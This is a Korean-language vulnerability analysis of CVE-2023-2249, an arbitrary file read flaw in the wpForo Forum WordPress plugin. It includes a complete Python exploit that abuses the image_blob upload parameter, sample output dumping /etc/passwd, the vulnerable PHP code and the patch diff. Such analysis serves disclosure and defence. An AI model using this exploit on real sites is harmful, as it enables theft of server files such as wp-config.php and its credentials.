[CVE-2023-2249] 취약점 분석 보고서
wpForo Forum에서 발생하는 임의 파일 읽기 취약점
1. Description
file_get_contents
함수를 사용할 때 적절한 데이터 검증없이 데이터를 처리하기 때문에 발생한다. 로컬 파일 포함(LFI), 서버 사이드 요청 위조(SSRF), PHAR 역직렬화 취약점이 있으며 최소한의 권한을 가진 공격자가 시스템에 호스팅된 wp-config.php
파일의 내용을 가져오거나, 직렬화 공격을 수행하여 RCE가 가능하게 한다.
2. Environment Setting
2.1 Affected Version
- wpForo Forum <= 2.1.7
3. PoC
wpForo Forum은 기본 고유주소로 동작하지 않으므로 고유주소를 글 이름으로 변경한다.
플러그인을 활성화시키면 홈페이지에 아래와 같이 새로운 Forum 버튼이 생성된다.
관리자로 로그인한다.
취약점은 프로필 사진 업로드 기능에 있으므로 사진을 업로드한다.
해당 패킷을 잡아보면
wpforo_profile_cover_upload
액션이 ajax 요청에서 사용되고 있고image_blob
이라는 매개변수가 url 인코딩되어 전달되고 있다.image_blob
의 값을 디코딩하면 파일 형식(image/jpeg), 인코딩(Base64) 및 쉼표로 구분된 실제 데이터임을 알 수 있다.image_blob
의 값을 쉼표를 기준으로 분할하려고 시도하며 두 번째 인덱스가 없을 경우image_blog
의 모든 부분을get_file_contents
함수로 전달한다.image_blog
매개변수에 쉼표를 제외하고 원하는 내용을 전달하면 된다.wpforo_profiles_default_cover_upload
도 같은 취약점이 있기 때문에 액션을 바꿔서 전달해도 성공한다.이미지로 저장되어 있기 때문에 파일 내용을 다시 가져오지는 못하지만 아래와 같이 curl 요청을 보내면 파일의 내용을 유출할 수 있다.
위 과정을 기반으로 한 PoC 코드이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
'''
Origin : https://github.com/ixiacom/CVE-2023-2249
Author : Ayan Saha (https://github.com/Ayantaker/)
'''
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin
from rich import print as pprint
import warnings
from requests.packages.urllib3.exceptions import DependencyWarning
warnings.filterwarnings("ignore")
warnings.filterwarnings("ignore", category=DependencyWarning)
def parser():
parser = argparse.ArgumentParser(description='Exploit for CVE-2023-2249 in wpForo Forum plugin for WordPress.')
parser.add_argument('-i', '--ip', required=True, help = "Host", type=str)
parser.add_argument('-p', '--port', required=True, help = "Port", type=str)
parser.add_argument('-l', '--location', help = 'Wordpress Site Base URL', default="", type=str)
parser.add_argument('-u', '--user', required=True, action='store', type=str, help='Username')
parser.add_argument('-q', '--password', required=True, action='store', type=str, help='Password')
parser.add_argument('-f', '--file', action='store',default="/etc/passwd", type=str, help='Server file path to be fetched. Accepts remote location as well. Wont work if there is a comma in the path')
args = parser.parse_args()
return args
def exploit(host,port,sitelocation,user,password,file):
if ',' in file:
pprint("[yellow][*] There is a comma(,) in the filepath. Exploit might not work. [/yellow]")
pprint("[cyan][*] Logging in [/cyan]")
base_url = urljoin(f"{host}:{port}",sitelocation)
login_url = urljoin(base_url, 'sign-in')
# Start a session so we can have persistent cookies
session = requests.session()
session.verify = False
session.headers.update({'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0'})
# This is the form data that the page sends when logging in
login_data = {
'log': user,
'pwd': password, # hide password input
'wpforologin': 'Sign+In',
'wpfaction': 'login',
}
# Get the base page to retrieve the CSRF token
r = session.get(login_url)
# Use BeautifulSoup to find the CSRF token in the HTML
soup = BeautifulSoup(r.text, 'html.parser')
_wpfnonce = soup.find('input', attrs={'name': '_wpfnonce'})['value']
login_data['_wpfnonce'] = _wpfnonce
session.headers.update({'Referer': login_url})
# Send a POST request with the form data
r = session.post(login_url, data=login_data, allow_redirects=False)
# Check if login was successful
if r.status_code == 302 and 'wordpress_logged_in' in r.headers['Set-Cookie']:
pprint("[green][+] Logged in [/green]")
else:
pprint("[red][-] Couldn't log in [/red]")
exit(1)
pprint("[cyan][+] Injecting payload[/cyan]")
exploit = {
'referer': f"{host}:{port}",
'image_blob': file,
'action': 'wpforo_profiles_default_cover_upload',
'_wpfnonce': _wpfnonce,
}
r = session.post(urljoin(base_url,"/wp-admin/admin-ajax.php"), data=exploit, allow_redirects=False)
if r.status_code == 200 and 'true' in r.text:
pprint("[green][+] Injected payload successfully[/green]")
else:
pprint("[red][-] Exploit Failed [/red]")
exit(1)
r = requests.get(urljoin(base_url,"/wp-content/uploads/wpforo/covers/profiles_custom_default_cover.jpg"), verify=False)
if r.status_code == 200:
pprint(f"[green][+] Printing contents of {file}[/green]\n\n")
print(r.text)
else:
pprint(f"[red][-] Couldn't fetch file contents[/red]")
exit(1)
if __name__=="__main__":
args = parser()
exploit(args.ip,args.port,args.location,args.user,args.password,args.file)
f 옵션에 파일의 경로를 넣어 전달하면 임의의 파일을 읽을 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
python poc.py -i http://localhost:8000/ -p 8000 -u root -q 1234 -f /etc/passwd
[*] Logging in
[+] Logged in
[+] Injecting payload
[+] Injected payload successfully
[+] Printing contents of /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
4. Analysis
wpforo_profile_cover_upload
액션에서 image_blob
으로 받은 데이터를 쉼표를 기준으로 분리하지만 쉼표가 없을 경우 image_blog
의 값이 살균 과정 없이 사용되기 때문에 취약점이 발생했다고 볼 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// wpforo/classes/Actions.php
public function profile_cover_upload() {
wpforo_verify_nonce( 'wpforo_profile_cover_upload' );
if( WPF()->current_object['user'] && WPF()->usergroup->can( 'upc' ) && WPF()->perm->user_can_edit_account( WPF()->current_object['user'] ) && ($image_blob = wpfval( $_POST, 'image_blob' )) ){
// split the base64 encoded string:
// $data[ 0 ] == "data:image/png;base64,/xd92204dsdds1...."
// $data[ 1 ] == <actual base64 string>
$data = explode( ',', $image_blob );
if( isset( $data[1] ) ){
// Decode it back to binary
$file_content = base64_decode($data[1]);
} else {
// This part can be removed, I just leave it for an unknown case
$file_content = file_get_contents($image_blob);
}
if( $file_content ){
$file_basename = WPF()->current_object['user']['user_login'] . '_' . WPF()->current_object['user']['userid'] . '.jpg';
$file_dir = WPF()->folders['covers']['dir'] . DIRECTORY_SEPARATOR . $file_basename;
$file_url = WPF()->folders['covers']['url//'] . '/' . $file_basename;
if( file_put_contents($file_dir, $file_content) ){
WPF()->member->update_profile_field( WPF()->current_object['user']['userid'], 'cover', $file_url );
wp_send_json_success();
}
}
}
wp_send_json_error();
}
wpforo_profiles_default_cover_upload
액션의 profiles_default_cover_upload
함수도 위와 같은 원리로 취약점이 발생한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// wpforo/classes/Actions.php
public function profiles_default_cover_upload() {
if( $image_blob = wpfval( $_POST, 'image_blob' ) ){
// split the base64 encoded string:
// $data[ 0 ] == "data:image/png;base64,/xd92204dsdds1...."
// $data[ 1 ] == <actual base64 string>
$data = explode( ',', $image_blob );
if( isset( $data[1] ) ){
// Decode it back to binary
$file_content = base64_decode($data[1]);
} else {
// This part can be removed, I just leave it for an unknown case
$file_content = file_get_contents($image_blob);
}
if( $file_content ){
$file_basename = 'profiles_custom_default_cover.jpg';
$file_dir = WPF()->folders['covers']['dir'] . DIRECTORY_SEPARATOR . $file_basename;
$file_url = WPF()->folders['covers']['url//'] . '/' . $file_basename;
if( file_put_contents($file_dir, $file_content) ){
WPF()->settings->profiles['default_cover'] = $file_url;
wpforo_update_option( 'wpforo_profiles', WPF()->settings->profiles );
wp_send_json_success();
}
}
}
wp_send_json_error();
}
5. Patch Diff
패치된 코드는 정규식을 통해 MIME 타입 검증을 추가하여 Base64 데이터가 유효한 이미지인지 확인하고 있으며 file_get_contents
를 삭제하여 임의 파일 읽기 취약점을 제거했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// wpforo/classes/Actions.php
public function profiles_default_cover_upload() {
if( $image_blob = wpfval( $_POST, 'image_blob' ) ){
// split the base64 encoded string:
// $data[ 0 ] == "data:image/png;base64,/xd92204dsdds1...."
// $data[ 1 ] == <actual base64 string>
$data = explode( ',', $image_blob );
if(
preg_match('#^data:image/(?:png|jpe?g|gif);base64$#iu', $data[0])
&& ( $file_content = isset( $data[1] ) ? base64_decode( $data[1] ) : '' )
){
$file_basename = 'profiles_custom_default_cover.jpg';
$file_dir = WPF()->folders['covers']['dir'] . DIRECTORY_SEPARATOR . $file_basename;
$file_url = WPF()->folders['covers']['url//'] . '/' . $file_basename;
if( file_put_contents($file_dir, $file_content) ){
WPF()->settings->profiles['default_cover'] = $file_url;
wpforo_update_option( 'wpforo_profiles', WPF()->settings->profiles );
wp_send_json_success();
}
}
}
wp_send_json_error();
}
public function profile_cover_upload() {
wpforo_verify_nonce( 'wpforo_profile_cover_upload' );
if( WPF()->current_object['user'] && WPF()->usergroup->can( 'upc' ) && WPF()->perm->user_can_edit_account( WPF()->current_object['user'] ) && ($image_blob = wpfval( $_POST, 'image_blob' )) ){
// split the base64 encoded string:
// $data[ 0 ] == "data:image/png;base64,/xd92204dsdds1...."
// $data[ 1 ] == <actual base64 string>
$data = explode( ',', $image_blob );
if(
preg_match('#^data:image/(?:png|jpe?g|gif);base64$#iu', $data[0])
&& ( $file_content = isset( $data[1] ) ? base64_decode( $data[1] ) : '' )
){
$file_basename = WPF()->current_object['user']['user_login'] . '_' . WPF()->current_object['user']['userid'] . '.jpg';
$file_dir = WPF()->folders['covers']['dir'] . DIRECTORY_SEPARATOR . $file_basename;
$file_url = WPF()->folders['covers']['url//'] . '/' . $file_basename;
if( file_put_contents($file_dir, $file_content) ){
WPF()->member->update_profile_field( WPF()->current_object['user']['userid'], 'cover', $file_url );
wp_send_json_success();
}
}
}
wp_send_json_error();
}
6. Discussion
image_blob
변수에 쉼표를 포함하지 않는 특수한 상황을 예상하지 못한 것이 취약점의 근본적인 원인으로 보인다. 개발자는 일반적으로 이미지 업로드 기능에서 Base64로 인코딩된 데이터를 처리할 것을 기대하며, 항상 쉼표로 데이터를 구분할 것이라는 가정하에 코드를 작성했을 가능성이 크다. 하지만, 쉼표가 없는 데이터가 입력될 경우 이를 적절히 검증하거나 처리하지 않아 취약점이 발생하게 되었다.